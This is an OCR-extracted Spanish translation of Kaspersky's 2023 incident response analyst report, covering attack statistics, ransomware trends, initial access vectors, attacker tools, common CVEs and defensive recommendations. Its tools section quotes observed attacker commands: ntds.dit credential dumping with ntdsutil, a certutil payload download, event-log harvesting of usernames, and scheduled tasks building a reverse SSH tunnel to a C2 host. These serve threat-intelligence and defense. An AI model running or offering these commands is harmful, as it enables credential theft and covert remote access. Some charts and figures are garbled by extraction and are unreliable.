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Introduccion

Introduccion

Este informe de analistas contiene informacion sobre los ciberataques que Kaspersky ha investigado en 2023.
Kaspersky proporciona una amplia variedad de servicios (respuesta ante incidentes, analisis forense digital, analisis
de malware, etc.) para ayudar a las organizaciones que se ven afectadas por incidentes de seguridad de la
informacion. Los datos que se utilizan en este informe provienen de organizaciones que han necesitado asistencia
a fin de responder ante incidentes o realizar eventos profesionales para sus equipos internos de respuesta ante
incidentes. Los servicios de investigacion y respuesta ante incidentes estan a cargo del Equipo Global de Respuesta
a Emergencias (GERT) de Kaspersky, que cuenta con especialistas en Europa, Asia, América del Norte y del Sur,
Medio Oriente y Africa.

Elinforme también incluye datos de especialistas del equipo de Investigacion de Incidentes Informaticos y Fuerzas
Cibernéticas Especiales, asi como del equipo GReAT.

Estas estadisticas nos permiten identificar tendencias relacionadas con las amenazas mas relevantes en
organizaciones de diferentes sectores de la economia y de diferentes regiones. A su vez, esto nos permite desarrollar
meétodos de proteccion prioritarios y formular recomendaciones que, cuando se implementan, ayudan a las
organizaciones a mejorar sus niveles de seguridad y prepararse para la respuesta ante incidentes en el futuro,

lo que les posibilita prevenir o minimizar dainos de potenciales ataques.
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Introduccion

Ubicaciones geograficas de las solicitudes del servicio IR

m Ubicaciones geograficas de las solicitudes del servicio
Kaspersky Incident Response en 2023

Europa

9,09 %

Continente
americano

21,82 %

Africa

7,27 %

CEl

47,27 %

Oriente Medio

10,91 %

l

} Asia-Pacifico

3,64 %

La distribucion geografica del servicio cambid un poco recientemente, pero el volumen de solicitudes en el segmento
ruso sigue creciendo. En 2023, se observé un aumento considerable de las solicitudes del servicio en la region del
continente americano, que quedd en segundo lugar con el 21,82 % de las solicitudes.

Las tres regiones mas atacadas

CEl

47,27 %
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Introduccion

Mercados verticales y sectores

m Distribucion de las solicitudes del servicio
Kaspersky Incident Response por sector
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B Solicitudes del servicio

Los tres sectores mas atacados
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Tendencias
de 2023

Tendencias de 2023

Los ataques realizados a través de proveedores de servicio fueron una de las tendencias sobresalientes de 2023.

El aumento en la cantidad de estos atagques No es una sorpresa; para los atacantes, este vector es una oportunidad
de llevar a cabo un ataque a gran escala con mucho menos esfuerzo del que necesitarian para atacar a victimas
individuales. Detectar estos ataques requiere mas tiempo, ya que las acciones de los atacantes suelen tener una
gran similitud con las acciones de los empleados de los subcontratistas. La mitad de estos incidentes recién se
detectaron después de descubrir una filtracion de datos. Un cuarto de las victimas fueron contactadas después de
gue se cifraran sus datos, y una de cada cuatro victimas descubrieron el atagque debido a actividades sospechosas.

Otra tendencia que se mantuvo sin cambios durante los Ultimos anos
es el ransomware. Durante 2023, uno de cada tres incidentes estuvo
relacionado con ransomware. Aunque el porcentaje de esos ataques
disminuyd del 39,8 % al 33,3 % en comparacion con el ano anterior, el
ransomware sigue siendo la principal amenaza para las organizaciones
de todos los sectores de la economia y de todas las industrias.

En 2023, los ransomware que detectamos con mayor frecuencia fueron
Lockbit (27,78 %), BlackCat (1296 %), Phobos (9,26 %) y Zeppelin (9,26 %).

|La mitad de todos los ataques comenzd con la vulneracion de una aplicacion
disponible publicamente. En el 40 % de los ataques, se utilizaron credenciales
vulneradas (el 15 % se obtuvo a través de ataques de fuerza bruta). El1 10 %
restante se dividio uniformemente entre eventos de phishing y ataques a
través de relaciones de confianza. La mayoria de los ataques de cifrado
de datos finalizé al cabo de un dia (43,48 %) o unos dias (32,61 %). El resto
demord semanas (13,04 %) y solo el 10,87 % durd mas de un mes. Casi
todos los atagues de ransomware que duraron semanas y meses, también
implicaron la filtracion de datos, ademas del cifrado de datos.

Herramientas de los atacantes

Los atacantes siguen usando muchas utilidades diferentes, pero Mimikatz
y PsExec se mantienen como las herramientas mas populares, ya que se
usan en el 15,58 % y 13,64 % de los incidentes, respectivamente.

Impacto del ataque

El cifrado de datos se mantiene como el principal problema para las
empresas atacadas y, aungue el porcentaje de empresas afectadas por
ransomware disminuyo un poco en 2023, un tercio de las empresas que
solicitd el servicio de respuesta a incidentes perdid datos a causa del
cifrado. Al mismo tiempo, el porcentaje de empresas que se enfrentd a
filtraciones de datos aumento al 21,1 %. También vale la pena mencionar
que las filtraciones de datos suelen estar acompariadas por un posterior
cifrado de la infraestructura de la victima.
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Uno de cada tres incidentes
estd asociado con ransomware

LLas herramientas mas populares
utilizadas por los atacantes
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Problemas principales: cifrado
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Descripcidon general y recomendaciones
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Recomendaciones

Acceso

-~

Reconocimiento
Desarrollo de recursos
Entrega

Ingenieria social

Explotacion \
Persistencia

Evasion de defensas

© N O oA NN

Mando y control

Herramientas de
atacantes, incluidas
las legitimas

9. Pivoting

10. Deteccion

11.  Escalamiento de privilegios |
12.  Ejecucién )
13.  Acceso a credenciales

14.  Movimiento lateral

Extraccidon

15.  Recopilacion
16.  Exfiltracion
17. Impacto

18. Objetivos
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Exploit de una aplicacién publica

Cuentas afectadas

42,37 %

20,34 %

Fuerza bruta

8.47 %

Relacion de confianza

6,78 %

$® Recomendaciones

l 4 Implementa politicas de contrasefia sélida

' y autenticacion multifactorial

4 Elimina el acceso publico a los puertos

de gestién

3 4  Establece una politica de tolerancia cero para

la administracion de parches o medidas de
indemnizacion para las aplicaciones publicas

4 AsegUrate de que los empleados
mantengan un nivel alto de seguridad

Descubrimos el uso de herramientas legitimas en casi uno de cada dos casos en 2023

Mimikatz 15,58 %
PsExec ‘173,64 A
Advanced IP Scanner <;,og A
SoftPerfect Network Scanner ‘%’14 A
AnyDesk \;),19 %
Cobalt Strike é]g A
PowerShell ;,15 %
720 390%
Archivos cifrados 33,33 %
Filtracién de datos 21,09 %
Active Directory comprometido {2,24 %

Los atacantes suelen usar diferentes utilidades
en las etapas de Comando y control (25,58 %),
Deteccion (20,93 %) y Ejecucion (20,93 %).

® Recomendaciones

4 |Implementa reglas para detectar las
. herramientas m&s comunes que utilizan
los atacantes
4 Utiliza una herramienta de seguridad con
telemetria similar a EDR
4 Evalla constantemente los tiempos de

reaccion de las operaciones de seguridad
con egjercicios de ataque

#  Dejade usar software que aparece en
lalista de herramientas utilizadas por
atacantes dentro de lared corporativa

Recomendaciones

4 Realiza una copia de seguridad de tus datos

&

4 Trabaja en conjunto con un partner de
acuerdos de respuesta ante incidentes para
abordar los incidentes con SLA répidos

1 4 Implementa programas de seguridad estrictos
para aplicaciones con informacién de
identificacion personal

4 Implementa control de acceso seguro a datos
importantes con prevencion de pérdida de datos

4 Forma continuamente al equipo de respuesta
ante incidentes para que se mantenga al
corriente y esté al tanto del panorama
cambiante de amenazas
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Recomendaciones

Madurez de la organizacion

Tras analizar los motivos de las solicitudes del servicio Kaspersky Incident Response, podemos dividirlos en dos grupos:

Grupol I : | Grupo I
(se conocian los motivos y las (ataques con indicadores

consecuencias al momento de actividad sospechosa)
de la solicitud)
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Por lo general, estas victimas toman conocimiento Sobre la base de los resultados de nuestro andlisis,

de un ataque cuando ya ha ocurrido y el daho estas actividades sospechosas tuvieron las

es evidente. siguientes consecuencias:

Archivos cifrados 33,33 % Active Directory comprometido 12,24 %

Filtracion de datos 21,09 % Persistencia instalada para impactos futuros 10,88 %

Robo de dinero 1,36 % Falsa alarma 748 %

Destruccion 1,36 % Manipulacién de datos 4,08 %

Servicio no disponible 1,36 % Apropiacién de cuentas 272 %
Ataque prevenido o no completado 1,36 %

El 42,2 % de todas las solicitudes estan basadas
en indicadores sospechosos como los siguientes:

Actividad de usuarios Alertas de las herramientas
de seguridad

Archivos y correos g

electrénig’os La actividad de lared

Desde luego, algunos de estos incidentes podrian
haberse convertido en problemas mas serios.

Sin embargo, se pudo disminuir suimpacto gracias
a la deteccién temprana de los ataques.

Y 4.‘ i
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Duracién del ataque

X

Duracion del
ataque

Todos los casos de incidentes se pueden agrupar en tres categorias con distintos valores respecto del tiempo de permanencia del ataque,
la duracion de la respuesta ante incidentes, el acceso inicial y el impacto del ataque.
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Corta Promedio Duradera
(horas y dias) (semanas) (un mes o mas)
Porcentaje de ataques
6975 % 8,40 % 21,85 %
Duracién media del ataque
Menos de 1dia 15 dias 135 dias

Impacto representativo

Ransomware

Vector inicial de ataque

Ransomware y robo de dinero

Filtracion de datos y ransomware

Aplicaciones publicas
Cuentas vulneradas

Aplicaciones publicas

Duracién de la respuesta ante incidentes

Relaciones de confianza
Aplicaciones publicas

Ataques que duraron hasta una semana.
Los principales ataques de ransomware de alta
velocidad que representan la mayor amenaza
incluso para las operaciones maduras de
seguridad. Principalmente, conductas evidentes
de agentes maliciosos que aprovechan
elementos sencillos: problemas de seguridad
faciles de identificar y de disponibilidad publica

Ataques que duraron hasta un mes.
Debido al ransomware, muchos ataques son
indistinguibles de los mas rapidos (Corta).

Muchos casos de este grupo presentan un lapso

de tiempo considerable entre el acceso inicial y
las siguientes etapas del ataque

Ataques que duraron mas de un mes.
Periodos irregulares de fases activas y
pasivas durante un ataque. La duracién
de las fases activas es muy similar a la del
grupo anterior (Promedio)

Incident Response ' Informe de analistas 2023
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Poriqué es

tan critica la
respuesta ante
incidentes

Motivos para solicitar el servicio

Positivos reales

Archivos cifrados 43,22 %
Filtracion de datos 1(:,1 O %
Archivos sospechosos 173,56 %
Actividad de usuario sospechosa 11,8;‘) %
Alertas de las herramientas de seguridad 7‘4,724 %
Accesos no autorizados ;,739 %
Robo de dinero 2,52r %
Actividad sospechosa de red ;,754 %
Servicio no disponible 1,239 %
Correos electrénicos sospechosos 2)85 %

Falsas alarmas (7,4 % de todas las
solicitudes de servicio)

Actividad de usuario sospechosa 72,73 %
Actividad sospechosa de red 18,18 %
Alertas de las herramientas de seguridad 9,09 %

LLos archivos cifrados fueron el principal motivo

para solicitar el servicio en todas las regiones y

los sectores, lo que sugiere que los programas de
cifrado fueron la ciberamenaza mas comun durante
2023. La actividad sospechosa fue la segunda causa
mas comun de las solicitudes y también representd
la mayor cantidad de informes falsos.

Motivos de las solicitudes del servicio Kaspersky Incident Response

por region
5313 % L = G =
Filtracién de datos Servicio no disponible
4,69 %
313 %
313 % L s3=2
Archivos cifrados Deteccién
s R
2344 % 17,19 % Robo de dinero Mensaje de correo
15.63 % electrénico sospechoso
313% :
156% | . AR
e Alerta de herramienta Acceso no autorizado
de seguridad
i 12,50 %
781% s 7.81%
513% 4,69 %
1,56 % 156% |1 156%
waimires 156 % 156 % ’ 1,56 %
- : Lf 313% 313% |
1,56 % 1,56 % 1 } mowall 1,56 %
CEl Oriente Medio Asia-Pacifico Continente americano Europa Africa
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Vectores
iniciales

Vector inicial de ataque

En 2023, el método mas comun de vulneracion inicial fueron las aplicaciones publicas. Descubrimos que un tercio
de estas aplicaciones recibieron ataques a través de vulnerabilidades conocidas. También vale la pena destacar
gue mas de la mitad de estas vulnerabilidades se detectaron en 2021y 2022. Este vector inicial se encontré en el
42,37 % de los casos. L.a mayoria de las veces, estos ataques duraron menos de un dia (en el 18,64 % de todos los
incidentes). El motivo de la solicitud fueron el cifrado de datos en el 5 % de los casos y actividad sospechosa en
el 10 % de los casos.

OB 18,64% N86% 169% 847% 169 %
aplicaciones | | i | Sl [ 14237 % R i ert o
publicas Horas Meses
10,17‘% 678% 3,39 %
Clemat I ™ 12034%
vélidas -2 |
e e s “ T
Fuerza bruta @ f \ [iE g ! g 847 % 2 ANoS
S 1,69 % 1,69 %3,39 %
elacion — &
de confianza L—J - :] Plis Semanas
1,69 %1,69 %1,69 %
Phishing @ [ T 1508%
1,69 % 1,69 %
Infiltrado E | } 3,39 %
5,08 % 1,69 % 3,39 %3,39 %
Otros § e o
@ { | J ! 113,56 %

Otro vector de atague inicial popular es el uso de credenciales de usuario vulneradas. Para el 2023, resaltamos
por separado los casos en los que se utilizaron ataques de fuerza bruta para la vulneracion (8,47 %) y los casos
en los que los atacantes utilizaron cuentas ya vulneradas antes del incidente en investigacion (20,34 %). Los
ataques rapidos también prevalecen entre ellos (15,25 %, menos de un dig; 8,47 %, menos de una semana). En
este caso, el cifrado de datos y la actividad sospechosa fueron los principales motivos de las solicitudes: 14,06 %
y 6,25 %, respectivamente.

Exbloriie 9.38% 15,63 % 156 % 14.06 %
aplicaciones r | ki 1.3 g | 40.63 % YRR e =
publicas Filtracién de datos Servicio no disponible
4,69 % 7.81% 1,56 % 4,69 %
Cuentas @ Vi Aoy |1 18,75 %
vélidas ‘—-—-———J — | J 5 !
6.25% 156 % aeEnE
Fuerza bruta @ \ i ‘_x.)l 7.81% Archivos cifrados Deteccion
il 313% 156 %156 %
elacion s & y
de confianza R, L e s 04 SRR ABRER
1,56 % 1,56 %1,56 % Robo de dinero Mensaje de correo
Phishing @ I U7 | ! i 4,69 % electrénico sospechoso
1,56 % 313%
Infiltrado R T 2 e Lo
Alerta de herramienta Acceso no autorizado
3,1§ % 1,56 % 4,69 % 7.81% de seguridad
Otros @ I i ;‘1 1 11719 %

En el pasado, se han realizado vulneraciones a través de relaciones de confianza, pero este ano, su porcentaje
disminuyd considerablemente (6,78 % de las vulneraciones). Este enfoque permite a los atacantes obtener
acceso a decenas de victimas a través de una Unica organizacion pirateada. En esta situacion, pueden surgir
dificultades adicionales para el equipo a cargo de la investigacion, dado que no todas las organizaciones que
son la fuente inicial del ataque comprenden la necesidad de una investigacion completa y puede que no estén
dispuestas a cooperar. Con este método de penetracion, los atacantes a veces necesitan mas tiempo desde
el inicio del ataque hasta la fase final, de modo que la mitad de estos ataques duran mas de un mes.

T
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Herramientas
y exploits

Herramientas y exploits de atacantes

En el 3918 % de los ataques investigados, se encontraron pruebas del uso de utilidades legitimas por parte de los
atacantes.

Estas utilidades incluyen las denominadas LOLBIns' (utilidades que ya existen en las maquinas atacadas, como
componentes del sistema operativo, etc.), utilidades de especialistas en seguridad de la informacion de los
equipos rojo y de pruebas de penetracidn, asi como marcos comerciales (Cobalt Strike, Metasploit, Acunetix).

Distribucion y frecuencia de las herramientas utilizadas en incidentes

Frecuente: 20-25 % Promedio: 8-15 % Inusual: 1-8 %

PowerShell Cobalt Strike SystemBC BloodHound
AnyDesk Advanced IP Scanner DiskCryptor & MEGASync

LLos marcos especializados como Cobalt Strike y los scripts de PowerShell tienen bastante popularidad entre los
atacantes, pero Mimikatz y PsExec siguen siendo las herramientas mas utilizadas.

2093 % Advanced IP Scanner § SoftPerfect Network Scanner § BloodHound
Deteccion
R [ Acunetix £ Angry IP Scanner | Nessus _

PowerShell WMIC ' PowerTool x64 ® WMI Exec
ASPXspy2 8 MARIJUANA

Y & _
Movimiento lateral 1,63 % Cobalt Strike Metasploit § Impacket CrackMapExec Meterpreter

i
iegos | 465%
Recopilacion 4,65 %
Acceso a 2.33%

credenciales -,

PhishingKit

Acceso inicial 2,33 % e

MetaStealer

Comandoy control 25,58 %

Ejecucion 20,93 %

1 LOLBAS

Incident Response Informe de analistas 2023



https://lolbas-project.github.io/

N

i

Herramientas
y exploits

Herramientas legitimas en MITRE ATT&CK

En la mayoria de los casos, los equipos de seguridad pueden mitigar el vector inicial del atague con soluciones
preventivas. Los vectores de ataque mas comunes (exploit de aplicaciones publicas, cuentas vulneradas, correos
electronicos maliciosos) podrian haberse mitigado con la oportuna administracion de parches, la implementacion
de soluciones de autenticacion de varios factores con software antiphishing para defenderse de los ataques de
phishing y la implementacion de formacién en concienciacion sobre seguridad para empleados.

Incluso con estas medidas implementadas, los ataques pueden ocurrir de todas maneras, y es importante detectar
los rastros del desarrollo de un ataque lo antes posible.

El creciente abuso de herramientas legitimas para ataques de persistencia y comando y control puede gestionarse
mediante controles de seguridad capaces de detectar instalaciones o ejecuciones de herramientas no autorizadas
(sinimportar si se trata de malware o no). Ademas, Managed Detection and Response ofrece proteccion contra
tacticas nuevas gue utilizan diferentes herramientas para la ejecucion, el acceso o la enumeracion, y proporciona
recomendaciones en funcion del riesgo.

Apropiacion de dominio y ransomware

Los grupos de ransomware reutilizaron estrategias identificadas anteriormente para la intrusion usando
herramientas similares?®. Los atacantes aprovecharon aplicaciones expuestas a Internet que implementaban
modulos vulnerables para la ejecucion remota de comandos (RCE). De esta manera, los grupos de ransomware
se dirigian a servicios publicos respaldados por versiones vulnerables de log4j y orientaban su arsenal para
aprovechar vulnerabilidades y poner en riesgo infraestructuras.

Exploit de aplicaciones publicas TO819

/Program Files/<VulnerableApp>/root/WEB-INF/lib/log4j-1.2.17 jar

Después de confirmar el aprovechamiento el atacante modificaba la cuenta local con privilegios responsable de la
gjecucion de la aplicacion. El atacante ejecutaba comandos localmente para modificar la contrasena del usuario.

Manipulacién de cuenta T1098

. Usuario de la red <username> <new_password>

Luego, el atacante cargaba un conjunto de herramientas al sistema:

: £ C:\Users\<username>\Documents\netscanold.exe
. C:\Users\<username>\Documents\mimikatz\xé64\mimikatz.exe

El atacante luego ejecutaba Meterpreter en el sistema y obtenia acceso adicional y persistencia.

Creacidén o modificacion de procesos del sistema (Windows Service) T1543:003

= S ghhijbl | Path: cmd.exe /c echo ghhjbl > \\.\\pipe\ghhijbl

MERCURY leveraging Log4j 2 vulnerabilities in unpatched systems to target Israeli organizations

Y |“ i
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https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
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Herramientas
y exploits

Por Ultimo, una vez que confirmaba el acceso completo, el atacante instalaba la aplicacion eHours para realizar
tacticas de persistencia y C2.

Software de acceso remoto T1219

E C:\Program Files\ehorus_agent\ehorus_uit.exe
" C:\Program Files\ehorus_agent\ehorus_cmd.exe

& - C:\Program Files\ehorus_agent\ehorus_launcher.exe -

Ataque de ransomware y aprovechamiento de aplicaciones dirigidas al publico

Impacket y BloodHound son herramientas de seguridad conocidas para el movimiento lateral y la deteccion.
Utilizan los protocolos de la red para recopilar informacion y reutilizar sesiones con el fin de ejecutar comandos
remotos u obtener nombres de usuario y credenciales, pero la mayoria de sus cargas o scripts pueden
detectarse con controles en endpoints.

Los atacantes decidieron usar una técnica diferente que utiliza el Intérprete de comandos y scripts (shell de
comandos de Windows) para recopilar archivos evtx localmente en sistemas criticos para luego comprimir los
archivos y moverlos a un sistema central. Una vez que se movian los archivos, se utilizaba un script nuevo para
extraer nombres de usuario validos basados en eventos 4624.

Enumeracién de registros T1654, Intérprete de comandos y scripts

(shell de comandos de Windows) T1059:003

: Cépia;’ él af&hivo en i.a cal.'pet.a>publica5
copy $system32\winevt\Logs\Security.evtx $public\Security.evtx

' Comprimir el archivo copiado y prepararlo para moverlo a un sistema principal:
Add-Type -A System.lO.Compression.FileSystem;;$zipFile = [System.lO.Compression.ZipFile]::Open('c:\users\public\
Security.zip', 'Update'),[System.lO.Compression.ZipFileExtensions]::CreateEntryFromFile($zipfile,'c:\users\public\
Security.evtx',Security.evtx');$zipFile.Dispose()

£ Script para extraer nombres de usuario vélidos a partir de registros evtx:
- Get-Eventlog -LogName Security | where {$.eventID -eq 4624 } | % {$.ReplacementStrings[6] + ";" +

- $.ReplacementStrings[5] + ";" + $.ReplacementStrings[11]} | Export-csv guli_<Local_server>.csv -encoding utf8

. Get-WinEvent -Path C:\users\public\Security_<serverl>.evtx | where {$.ID -eq 4624 } | Select -Property @{N="Domain’;
. E={$.Properties[6].value}},@{N='User’; E={$.Properties[5].value}},@{N="IP"; E={$.Properties[18].value}} | Export-csv C:\
£ ‘Users\public\guli_<server1>.csv -encoding utf8

El comando SSH.exe nativo para Windows y sus modulos pueden utilizarse para la tactica de comando y control,
ademas de para exfiltrar informacion usando el mismo canal de conexion. Los atacantes identifican la ruta para
llegar a los sistemas remotos donde los sistemas criticos permiten acceder a Internet y, una vez que confirman el
acceso, pueden usar varios comandos para configurar una puerta trasera SSH a fin de enviar y recibir datos.

1 Rl
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Tunelizacién de protocolo T1572, Tarea o trabajo programados T1053

dentificacion delacceso aInternet: .
ping <remote_|P>
ping <second_remote_IP>

. Obtener las claves del host SSH publico para el sistema C2:
ssh-keyscan -p 443 <remotelP>

Configurar las claves ssh locales y otorgar permisos:

* ssh-keygen -f <path>/.ssh/id_rsa -t rsa -N "<passphrase>"
icacls <path>/.ssh/id_rsa /inheritance:r
cacls <path>/.ssh/id_rsa /grantrr "%username%":"(R)
icacls <path>/.ssh/sshd_config /inheritance:r
cacls <path>/.ssh/sshd_config /grantrr "“%username%":"(R)

+» Configurar tareas que deben ejecutarse cada minuto. "Servidor SSH" e "Intercambio de clave SSH" para configurar una
- _tunelizacién inversa:
- ischtasks.exe /create /sc minute /mo 1 /tn "SSH Server" /rl highest /np /tr "<path>\sshd\sshd.exe -f <path>/.ssh/sshd_
config"
schtasks.exe /create /sc minute /mo 1 /tn "SSH Key Exchange" /rl highest /np /tr <path>\sshd\ssh.exe -i <path>\.ssh\
d_rsa -N -R 22443:127.0.0.1:2222 -o StrictHostKeyChecking=no -o ServerAlivelnterval=60 -o ServerAliveCountMax=15

La utilidad ssh-keyscan permite recopilar las claves del host SSH publico. Se disend para poder desarrollar
y verificar archivos ssh_known_hosts?.

Flax Typhoon

Durante el andlisis de un incidente, se detectaron varias técnicas para la instalacion y ejecucion que utilizaban software
legitimo y LOLBIns. Se confirmo la presencia de Flax Typhoon, una organizacion taiwanesa de APT. La actividad
inicial llevada a cabo por el atacante fue un script malicioso de PowerShell ejecutado para volcar credenciales.

Volcado de credenciales del SO (NTDS) T1003:003, Ejecucidn activada por eventos
(perfil de PowerShell) T1546:013

cmd /c ntdsutil "ac i ntds" ifm "create full c:\PerfLogs\test" q g c:\windows\sysvol\domain\ntds\active directory\ntds.dit.""

El comando de Windows certutil se utilizo para descargar y ejecutar el host de consola del archivo.

Transferencia de herramienta de infiltracion T1105

- certutil.exe -urlcache -split -f http://<edited>/conhost.exe

Se encontrd un nuevo servicio sospechoso gue se ocultaba como servicio de Windows Update y se vinculaba
al archivo descargado recientemente.

3 OpenBSD manual page server

1 Rl
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Servicios del sistema (ejecucion del servicio) T1569:002

-~ HKLM\SYSTEM\ControlSet001\Services\Windos_update

.. _'C:\windows\temp\Crashpad\conhost.exe" /service

El archivo detectado se confirmé como un cliente VPN legitimo implementado para evitar la deteccion vy filtracion
de lared o para activar el acceso.

Tunelizacién de protocolo T1572

"~ C:\windows\temp\Crashpad\conhost.exe'
*  Descripcion del archivo: VPN de SoftEther

£ Nombre de archivo original: vpnbridge.exe

Se identifico un segundo servicio en el sistema, con el nombre WorkService. Se detecto el dil correspondiente,
relacionado con un agente Zabbix.

Software de acceso remoto T1219

Clave de registro: HKLM\SYSTEM\Co.ntr.oISetOO1\SerVices\WorkSér{/iCe 3
- ImagePath: "C:\Windows\TAPI\dllhost.exe" --config "C: \Wlndows\TAPI\wsheIper dil”

Nombre de archivo original: zabbix_agentd.exe
_presa Zabblx SIA

Y |“ i
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Las vulnerabilidades mas habituales

Las vulnerabilidades mas habituales presentes en nuestro conjunto de datos para 2023 estuvieron relacionadas
con SMBvV1 (CVE-2017-0144 y CVE-2017-0143), Microsoft Exchange Server (CVE-2021-27065 y CVE-2021-26855)
y FortiOS (CVE-2023-22640 y CVE-2023-25610).

El 62 % de las vulnerabilidades que hemos detectamos en los ataques permiten la ejecucion remota de cddigo
(RCE), la mayoria de los cuales tienen exploits publicos disponibles en la Web superficial, lo que permite que los

atacantes las aprovechen facimente y obtengan acceso al sistema objetivo (ITW).

Al analizar la causa raiz de las vulnerabilidades, descubrimos que la categoria de enumeracion de debilidades

comunes mas habitual es CWE-20 (validacion de entrada inadecuada). Esto revela que muchos de los programas

no usan técnicas de codificacion seguras basicas (como la desinfeccion o validacion de entradas). Para evitar
este tipo de problema, los desarrolladores deben adoptar practicas recomendadas de codificacion segura en
sus productos. Los clientes también necesitan garantizar actualizaciones regulares para obtener los parches de
seguridad mas recientes y, de esa manera, mitigar dichos problemas.

OpenSSH (ssh_agent)

CVE-2023-38408 IS e I (S

Ejecucién remota de cédigo

Debido a una ruta de busgueda insuficientemente
fiable en la caracteristica PKCS#11 del agente ssh, esta
vulnerabilidad puede provocar la ejecucion remota de
cdédigo si un agente se reenvia a un sistema controlado
por el atacante.

Windows (SMBv1)

CVE-2017-0144 VNI

Ejecucion remota de cédigo

Esta vulnerabilidad antigua conocida como EternalBlue
en el servidor SMBv1 permite a los adversarios remotos
ejecutar codigo arbitrario a través de paquetes
elaborados.

Bitrix Site Manager

CVE-2022-27228 TNl M=

Ejecucion remota de cédigo

La validacion insuficiente de la entrada de un usuario
permite que un atacante remoto no autenticado
gjecute codigo arbitrario en Bitrix Site Manager.

Veeam Backup & Replication

(SVIZPIP R k7 Cvss75ALTO ) (CWE-306 [ITw'

Falta de autenticacion

Permite el robo de credenciales cifradas almacenadas
en la base de datos de configuracion de Veeam Backup
& Replication, mediante la filtracion de credenciales en
texto plano o la ejecucion remota de comandos.

Microsoft Exchange Server

CVE-2021-27065 B ICEE Al GG

Ejecucién remota de cédigo

A esta vulnerabilidad se la conoce como ProxylLogon,
que permite a un atacante ejecutar comandos arbitrarios
en el servidor remoto de Microsoft Exchange.

Microsoft Exchange Server

CVE-2021-26855 SRRl e

Ejecucion remota de cédigo

Incident Response ' Informe de analistas 2023

Esta vulnerabilidad, también conocida como Proxyl.ogon,
es una vulnerabilidad de falsificacion de solicitudes del
servidor (SSRF) en Exchange que permite a un atacante
enviar solicitudes HT TP arbitrarias y autenticarse como
servidor de Exchange, lo que permite la gjecucion remota
de codigo en el servidor remoto de Microsoft Exchange.

wan
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Windows (SMBv1)
CVE-2017-0143 I RS0

Ejecucion remota de cédigo

i
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La vulnerabilidad en SMBvV1 permite que un atacante
remoto ejecute codigo de forma arbitraria mediante
paquetes elaborados.

FortiOS

CVE-2023-22640 (XYM== 1

Corrupcién de memoria

Esta vulnerabilidad en FortiOS permite que un
atacante autenticado ejecute cédigo no autorizado
mediante solicitudes elaboradas.

FortiGate
CVE-2022-42469 (TSI

Control de acceso inadecuado

(CWE-183 |

Una lista de entradas permitidas en algunas versiones
de FortiGate puede habilitar que un atacante autenticado
eluda la politica mediante el uso de favoritos en el
portal web.

FortiOS

CVE-2023-25610 IRl el g

Ejecucién remota de cédigo

Una vulnerabilidad de subdesbordamiento de bufer
presente en FortiOS permite que un atacante no
autenticado remoto ejecute codigo de forma arbitraria
en el dispositivo objetivo. Esta vulnerabilidad también
puede dar lugar a un ataque DoS mediante solicitudes
elaboradas.

Apache Log4j

CVIZZIPA S Cvss75ALTO ) (CWE-502

Ejecucion remota de cédigo

JMSAppender en Log4j 1.2 es vulnerable a la
deserializacion no segura, que permite la ejecucion
remota de cddigo si se configura IMSAppender para
realizar solicitudes JNDI.

Oracle Web Applications Desktop Integrator

CVE-2022-21587 108 XX R B e R R

Carga de archivos sin restriccion

Permite que un atacante no autenticado con acceso
alared através de HTTP ponga enriesgo Oracle Web
Applications Desktop Integrator, lo que puede dar
lugar a la apropiacion de la aplicacion.

Common Log File System (CLFS) de Windows

CVE-2022-37969 SReVEYEYNE0N, {CWE-269 ) | (ITw

Escalamiento de privilegios

Incident Response i Informe de analistas 2023

Permite que un atacante obtenga privilegios del
sistema mediante el aprovechamiento del controlador
de Common Log File System de Windows.



Diagrama de tacticas y técnicas de MITRE ATT&CK

TAOO043: Reconocimiento

T1595.002: Anélisis activo
(anélisis de vulnerabilidades)

T1595: Andlisis activo 272%
T1590: Recoleccién de informaciéndered delavictima 1,36 %

T1595.001: Andlisis activo (andlisis de bloques de IP) 1,36 %

T1592: Recoleccién de informacién de host de

P 0,68 %
la victima

TAOO042: Desarrollo de recursos

T1587.001: Desarrollo de capacidades (malware) 4,08 %
T1586.003: Cuentas vulneradas (cuentasenlanube) 1,36 %

T1587.004: Desarrollo de capacidades (exploits) 1,36 %

T1588.002: Obtencion de capacidades (herramienta) 0,68 %

TAOOQOOT1: Acceso inicial

T1190: Exploit de aplicaciones publicas 748 %

T1078.002: Cuentas vélidas (cuentas de dominio) 6,80 %

.T1133: Servicios remotos externos 6,12 %
003: Cuentas vélidas (cuentas locales) 3,40 %
Cuentas vélidas : 272% g

T1199: Relacién de confianza 1,36 %

T1078.004: Cuentas validas (cuentas en la nube) 0,68 %

T1078.001: Cuentas validas

o
(cuentas predeterminadas) 0,68 %
TN3: Captura de pantalla 0,68%
T1566.001: Phishing 4

(archivo adjunto de spear phishing) 0,68 %
T1566.002: Phishing (enlace de spear phishing) 0,68%

TAOOO2: Ejecucion

T1569.002: Servicios del sistema
_(ejecucion del servicio)

T1059.001: Intérprete de comandos y scripts 1

6,80 %
(PowerShell) 1
T1059.003: Intérprete de comandos y scripts

9
(shell de comandos de Windows) 6.12% ;

T1204.002: Ejecucién de usuario (archivo malicioso) 4,08 %

T1047: Instrumentos de administracién de Windows 4,08 %

T1203: Explotacién parala ejecucién delos clientes 3,40 %

L] - e g3
1-5% 6-10 % 1-15 % >16 %
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T1059: Intérprete de comandos y scripts 272%

T1053.005: Tarea o trabajo programados

9
(tarea programada) 2.04.%

T1059.005: Intérprete de comandos y scripts
(Visual Basic)

2,04%

T1059.004: Intérprete de comandos y scripts

(Unix Shell) 1,363
T1053.003: Tarea o trabajo programados (cr 1,36 %
T1569: Servicios del sistema 1,36 %
T1129: Médulos compartidos 0,68 %
T1072: Herramientas de desarrollo de software 0,68 %

T1105: Transferencia de herramientas de infiltracion 0,68 %
T1059.006: Intérprete de comandos y scripts (Python) 0,68 %

T1053.002: Tarea o trabajo programados (At) 0,68 %

TAOOO3: Persistencia

T1078.002: Cuentas vélidas (cuentas de dominio) 10,20 %

T1543.003: Creacién o modificacion de procesos
_del sistema (Windows Service)

748 %

T1505.003: Componente de software
: 4,76 %
de servidor (shell web)

T1136.001: Creacién de cuenta (cuenta local) 4,08 %

T1547.001: Ejecucién automatica de arranque
oinicio de sesién (claves de ejecucion
de registro/carpeta de inicio)

T1053.005: Tarea o trabajo programados
(tarea programada)

T1136: Creacioén de cuentas

T1133: Servicios remotos externos

T1136.002: Creacién de cuenta (cuenta de dominio) 2,04 %

_(carga lateralde DLL)

